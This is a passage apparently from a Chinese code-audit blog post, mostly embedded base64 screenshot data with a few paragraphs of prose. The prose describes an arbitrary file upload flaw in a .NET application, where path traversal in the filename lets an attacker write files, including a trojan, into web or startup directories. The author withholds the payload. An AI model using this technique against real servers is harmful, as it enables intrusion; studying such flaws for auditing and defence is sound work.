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 truncated
|
||||
<p blockindex=44>这里会判断startPoint是否为0,如果0就直接写入文件,如果不为0,则需要被写入的文件存在,且startPoint的值必须为被写入文件的长度,然后通过append追加的方式写入,然后datasize是写入的位数,需要与写入文件的字符个数相同。</p>
|
||||
<p blockindex=45><img src="data:image/png;base64,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 truncated
|
||||
<p blockindex=46>payload就不放了,能看懂的人自然能构建出来,后面的<code>UploadBillFile2</code>原理也是一样的,只不过是上传的路径变了,依然可以利用文件名进行目录穿梭上传到web目录下。</p>
|
||||
<p blockindex=47><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA04AAAE6CAIAAACu7pUoAAAgAElEQVR4nO3dT4hkx33A8dpkD06EbXAgxItoIfuShQTrEmiBT02C5xIsQ5axDmaQD240YCmnwcawxgNBZg7BK0OLzUGio4MDe4h822Dok0EDuSgkkMBgG+0IyRBscMzYughyqFFtdf17v/de1fv7/bAsr6vr1Xv9umf6N1X1e3VjsVioMp79/l+8/a3/khQmWtAb9i5Oof1Qb5vKlTXtp4RnFWzTb1B48qULnRcVrFn3BZpn7RL/QG3eZfnLFJ68f1YT+DAETzVRU96svDX72WCh5ChOs8EzDDZYWVj5Epyao3jfY7/WjMYfJwBTdaNQqNc+zgMAAEBLe6He1fL2E+f/3ePZAAAAIKM/6PsEAAAAUMrNvk8Ac/THT/zR4nO3+j6LsXr08/d/d/X7vs8CADAOe6Eeo7foxuJzt/70y8//39Wv+z6R8fnUE5/ZrFZ/9cIPnfJPvvuvvZwPAPTut099xS/kt6JBrx768X9Xv/7Vb37Z91kAADBxzNUDxu3f3/hm6UPsPhZ8CAC96+A34Xjt9er1koG7vPtQKXV+ehAsjz3lF1Z65sGr9sN37rxUt4U2Ch3dNFurwd1ut1qtYldeLvge6cYr9/3xb76lN76o/v6n6gdmO1i5soKQbsc+YrDZn6of2CXBo/uFTpt+/co206cdrPzvb3xTD+a2fzfT7PdUb8tDPVNT8sEQSvx+mAD/2govnd4x43Wu1Oy3caUSnxmnZb/97q9eSxkvfvDHOX1x7F0qL5qp/N577z355JPyHeX+6oUfmt+HcPTfqxf7pJ6fHiSeanAgHQy9c+cl/c+JvXyVFYoeXd5sMMhLtG9Csfa/I4Lv0Wq1kgQBX/7099XHsYv9f9AX1d+3DPJMO/aGbrYy8gse3S902owdOtFmkI4Rg+dpq/tumlCpNPsbImNHYOL3Q2dydW367Zjvv9VqVevSmfrNjtuA8F2o+3kr9CrMpzHYfq2rV0itC5XxR8D/yPkVnPJal8v/W1GNKqoeO+bqzYuwy60lHe3N/Mc4S2yaNq4/YWf+ecDQ8IFMGOnFoWMvplQGrvOnif7jwx5jcsabhMMxsWr24dItBEc8nULzUG/YhYntxEatozuFflN+s8EX6FcLhl/BSyovjGkW7aV71xL15eOtDRpswB6ubTlWW+tMnPfIfuj3FvhjvnlHRe2+lvToj8r31RK8AublB1+sqnq9/qnKX5op14VnZ2cnJyfCdiTn47QvOaiqemuE/E9L8GqbasI5BrEuOv8FNngX9DX3fzXFxiITI+m1hi+DnE9g7EKlr2q6WvBAlSfmXMwGrzS2y9tvv/3ss88eHLjnkH5z/XbaX/y5KTWAqz9PepAl+OFzPnBOzUSzsal7wgEdM5BqSp558KozrmpGRe3hUXsXf9s04pc4QVvl0Z3C9NGDL9A/eRXvz/OvvH0904VpwpFcW3pc1REc2awsdFrQ/+y4qn2Q5wesWcZqndl+QcGfOOd/85Pi/Mg0eIvT7PEdZ6wnPY7WmP8SzPdi7POsZHGec6ryl+bMOdMhl3k20Y5pLfi9G2zf3905aPDlNH4X/F+5wasd+7wFxT4YwVfd4F1Q1nVwChMXwR9wTLQv5H9txS6Uc1WdyrFqDT7q9kuz1f2E1L04sTdXKXV2dmb+t9PCarUPNb0BXGG0p2MpU9J+5pwffsUCMsnR/aCzvVXng6q9jOHqYEjYh2d3vOUab611Ar7Yjo3PUP/SN/+nK3c2gc90rqhO/ihv00lZ91Qrv35qvd5cF6fLn8QScyjrfqmn69vRXvrK+MGHrU2Q4YfClfWFzTY+Ja3Bn+hBud6s9u1DDSEDdwg6zsaVHN3uGsx1oC6jvR7n6pmoqHG81V7jwDG4Y8ZINK3LRAf5120JwaGGmLqnaiIDvo0yqntVO3gXWn5u7X64TGcUPkrd9PwsP4+xRoLvSIM3q6/vl5HqLQO3UP+BsNlYDqywsGUvYOXR7dl7LY/uVO7m62cIcd7YOaPPTqGm5yBXNpXu0gv+yJTu3nP6yeyhmW7CI2c4LCF2qsE6Kt4DJNHZy08ct/Q5NPtoSa6q5F1o8OrsKETy7gvbT8+jVfl+BuUf9RIkFyTjjww5GTE3FouFeZC3Vy82FdSfPRqsmUjsSFROfKCDuRdOHobThRbLq/BzL/yW/WflR/fblBw9Vtm/FCYUS79HlYXBt0MS5/35X37+E3/9pV/95pfpu9PFQpx0xkOwcrqHL30gYWEs/ULeZvAVOTW//Onv/+Pf/p35dWZ+tX3y3X9NTL4OhnrytIzgeyp5o53f8s5UJ79c2KwS/yoIfqHGJrbXegnOs/5EMWevWu3YldPjhrFL6hzUzswI7pXlLUhcbRX6vAUFX0iiPPEq/PrCD2Stg/rHrXv1/J9WFfk1m/jd2/KjnvjIZbk4TokT3sXCQf25TecV6RK9MJoT6rEwmrEX6uVVul8a42VCPf+pyXTLFfInn/4zO9RTH/92S/9Sa/nDGAtEsvfddtYfbF8QflPZeuySn4ABXr2ZfNR/+9RX/C49Qj2jVKg37XvZo6VYqJfrXicT5od6WvCXGj+GCVwczMQcPuq6V89BqGeUysCd8EcK5RDh5cWPYQIXBzPBRx1k4KIfn3riM32fwih96onPvPDKP/d9FgCA0ZjaffUwCo9+/r768Y/6PotR+lCp//35+5+8+n3fJwIAQ8FYbVoXod56vVZK3b9/v4NjYRR+d/X7//nPn/V9FgAATN/effUKjd4eHh5yK1EAAIDudXQL5YuLi24OBAAAAKO31TIAAABQ2l6od7W8nf0A2+1Wz9UDAABAx4r36h0dHZGQAQAA0AsGcAEAACariwxcAAAA9KKLXr3Ly8vtdtvBgQAAAGC7sVgs+j4HAAAAFFE8AxcAAAB9IS0DAABgsoqHele3lqUPAQAAgCAycAEAACaLtAwAAIDJutn3CdTwzINX7Yfv3HlpAkc3zdZqcLfbrVar5d2HSqnz04PGR9ctOI3oxhu32Y3dbmc/zHXCptnhXwEAACTGlIGrg6F37ryk/zmxl6+yQtGjy5sNBnmJ9k0o1ibI085PD/xGVquVE0hlkbdNfQVWH8vVuG7NLy9xQQAA6ABpGSPTTZdboWgPAAB0bEwDuFpwxNMpNA/1hl2Y2E5s1Dq6U+g35TcbfIF+tWCcFxyElRfG6GgvHVbqcNDEhaayMwxqHtrVKrcTG84J1Cr0m/Kb9V9jrNooBrsBAHNWPC3j6tbyiffPc7X2zINXddjkBFXmYWy7sqYKBWomMrM3JEeXF0pOVYvFeSZuM9vywuDDyoM6FZQXVNkxX3C7sqbfprIiM3vDaTbYprxQcqoAAIxI8V69jHGeEYy32rdZWSI/ut2NlyuBQ9LNlpfwcH6d9oO/fpuxMwlGe8E6Kj4VDwCAqRrfAG5Qx9m4kqP7PXntdRnttTlQv+FU8Oh+Tx4AAHMwpgxcWywHVljYshew8uj27L2WR3cqd5MwkSskCp6qX9jyFcWuiTPNLlaz1tHJVgEAjMveXL2r5e3sC2ZknKsXzL1w8jD8GW8qMgnP2fBb9p+VH91vU3L0WGX/UphQzGRaqEZpGfbuplwe5zm5Dn65P+MtWNPPvbB3TwdqscQO+0Dp84wdPVbZeUV0EwIAhmxMoR4wNIR6AICBG1kGLgAAAORYAxcAAGCyiq+WAQAAgL6MNQMXAAAAlVgDFwAAYLIYwAUAAJisvVAv+51WAAAA0KPivXrZ77Ti3PUXAAAAMQzgAgAATFbx1TIyCq7iZcrPTw+cDX+7u3MFAAAYgPEtjLa8+9AP2kyQF6wW3AUAAGDypjOA6wRzpj+POA8AAMwWGbgAAACTNb4MXKMyFVd37NGlBwAAZutm3ydQm51+oUvMQK0i9wIAAMCyF+oNPAPX8Kfl9XUmAAAAQ1a8Vy97Bq4EN1gBAABQYxzAlSDCAwAAUGTgAgAATNjeLZQBAAAwJWO9hfJ6vV6v132fBQAAwKDthXpXy9t9nUddh4eHu92u77MAAAAYtOK9ele3loVavri4KNQyAADANIx1ABcAAACVRpmBu91umagHAABQaawZuLvdbrVa9X0WAAAAg8YALgAAwGSNNQMXAAAAlca6Bu7l5eV2uz06Oqq1189u3cp+JgAwTJ9///2+TwFA/8a6Bm7dIA8AAGCGRpmBCwAAAInivXolRm/bY1wDwFQxUwWAbZQZuK98gfQRAACAamTgAgAATNYo18D99n8wpxDAuO12O2cDAEoYawbu0CzvPjw/PcjSlP69H1sLxFkmxHxJpAv97xKnfmWbsfOMtRmrHKyTfsmSo9ddOqXBEZtZ3n2olIp9Ntp8bN79+iO98dTr9Ra8MTsGd3/364/skuBR/EKnTb9+ZZuV55mun25TP1vrQqWvknD3xF72D91qtWL5HwDlkIEbpb+khXLFeaoq/nCeXa1Wfn2/UD9cfaxBm7EzibVZeUqJE5Bwjl7ZL9IyNJRzPjbpD0abOO+p1xfC+CMYtejdn3p9kY5pgkfxC502/fqVbfrSbVaeUuIEJNJXydcyNASAcooP4JbIwCUto6USgQ59Ep2xO8mGGVKUOKthvtJm/D48yZ8rANAMA7hK7ffEnJ8emIfO6Jt5aJebyulqwQMlTikxCNsyqLK/Zmq1majcbAhYRWYpxV67+ToUjizras6MKGffygY3m41Tcnx8HKwZ+9gEC/2PjVPuPyXhjGOah5IRzMYjwn47/sCupM1E5WZDwCo0Chzc3VyfBhcqfZEbjB3bGNgF0N5eqHe1vD3DMVx7vpQTwznftTp6c8qdgM+vlthIsKMcM1ip2s3gjs2uk7TpBIiJWYCxmpVtJnbXQZ7fWjAodLbNa0xEqInzjAV2vsSb67/1/sdGhT6KtTgxlhnTdOIkU0Line truncated
|
||||
<p blockindex=48>接着看下一处,但是这里鸡肋,因为这里的路径是通过<code>Path.GetTempPath()</code>获取的,也就是说只能上传到<code>%TMP%</code>目录下,但依然可以路径穿越到启动目录上传木马等。</p>
|
||||
<p blockindex=49><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAApUAAAF4CAIAAACKAZUxAAAgAElEQVR4nO3dT6gl133g8WON6JEj7AwWDKOHaBF7MzIZpE2GJ8jqMsG9ESIwzbMXppEXvtAQKdooDoYObhja1mLarcCF54XNHcEkoSFhGAg9GO4qoGay6UBIAg9nUD8hZSMTx3QkN0SexRmd+fX5V6eqTlX9qur7oWnqnnvq1Hn31q3fPX9unc9cvHjR9PDid3/9nW/9dUliYQnyodt+8bu/blNSOfO7l0vtbitQUs/qiY0PS3ZP/ZlhtpIDdZN/v/pX3j7MvINqT4ZMDTu/7+4jY5W8noVPlVS7sajGt6awVqlsfc7Vad/3MGfJ39jhfccCPNZn5/7Bu9w73/preyqnalL9iLLw/NHnq/yP6va2Rgt3iT1PFa/ymStdRXM5GWwl7asx2kU885rIV6znuZR68csTO5jwffcOmq/AJO87pvKZPu3vKo1vu+F9A5WJ4efW+0acySmfKqxVtMywwMLKj5bYqr2V/wPds1509Arp9nrKxLDMzpUPa7WAk6HVX5TaPZpeclz5MH+OlbxxMmf0D48W2JjY+Cd06CoIy5zLRaAxHQvTPX6P2fgGAABSr/Y3AACYRK/xbwAAMInHp64A1u5XnvzsxS8eTV2Lubr/9+//84OPpq4FgAkQvzGxi188+rcvf+2fHvx06orMz+ef/MJus/mNV/7QS//cu382SX2wDD9/9rfDRE4qhYjfmN4/Pfjphz/7h6lrAQBzwvg3sBx/+aPfGfoQh09FH2IZRjiR0N8Y7e/ja3eMMXevX4qmp54KExu9cPst+fDe5VfbltDHQEd3xbYq8HA4bDabKhUwXd+O8mr8j599y278pvndvzDfd9vRzI0ZCtly5BGdniXL8mVp+QP9hfm+97BtZf7yR79j+9JTn7ha5Htqt8vjt8tZ8fysovNJHoq+GvLvtRnClDBnvvz33nvvmWeeKd+x3G+88ofudIJaY7S/U5+Ku9cvZZ7qcCAb4e5dftX+8wJqqDHDoEcvLzYauTPll0RN9+WpROfr2mazKbmyv/yr3zWfBir5f9Rvmt+tEl9dIe6ItUp2xXql5Q8UZu5cmbbvV6uToQ8Zt0Zoso9zkofcp2+z2UQ/iWF6Kme+fO9YXeqKOaP/fGnqtrz7KwzhelQM4WMeaF6tpVbhau5m+sfaJvjUtUBO9/5z77ut/fYqO+68TrxMb3m0WC+bPFy+hGiHs5foHtoNmZjZzmy0OrqXGBYVFhv9A8Ns0eDtvXTuYfQNchnkm9iYLXogt21DeNtLmNfb3Bjtoh3O+cRoITan3NH1tIe7h4mFUVn2lrfatzyz997Jh2HDNPNuVmmYyu9w+d5j06kpOflJnuL9sa36yfO7vPPOOy+++OKlS34dwvzhF+jOXfdQpXv8tie3PONtf3jqMuHlzBRrgi8H3oHyFbOx0IuU7qHddmFSZpOd3uG2zOylhE/ljx4mZo4e/QPDypt08A6vSib2Ltj3y0sP3w4vW2ZD6hDCbeCUQS4TsaI5SxJlCZmjR6vhdimvZ3ggV3jmW0Xqz3zZfDeTOfrZtInRD6/cN/9sBzKQeKdB/051JSd5KBU4204XcHs1foii+e2n780333zjjTfs/66ctuVDlfn9fqzkYxMNoj2PG7aGU+3jkqPLBnetmW7RGCnbECUvXeGVuu0FfZLrQnlcjGYOW97RXazCo7StVajzjkaE7ZLwM9qguD1vo6G9kJKTPFRr8Ki8kG5fg+Y1wgVnfvG7m5HnopccPdWM7iMVwk3V6bVR0c5Ga8I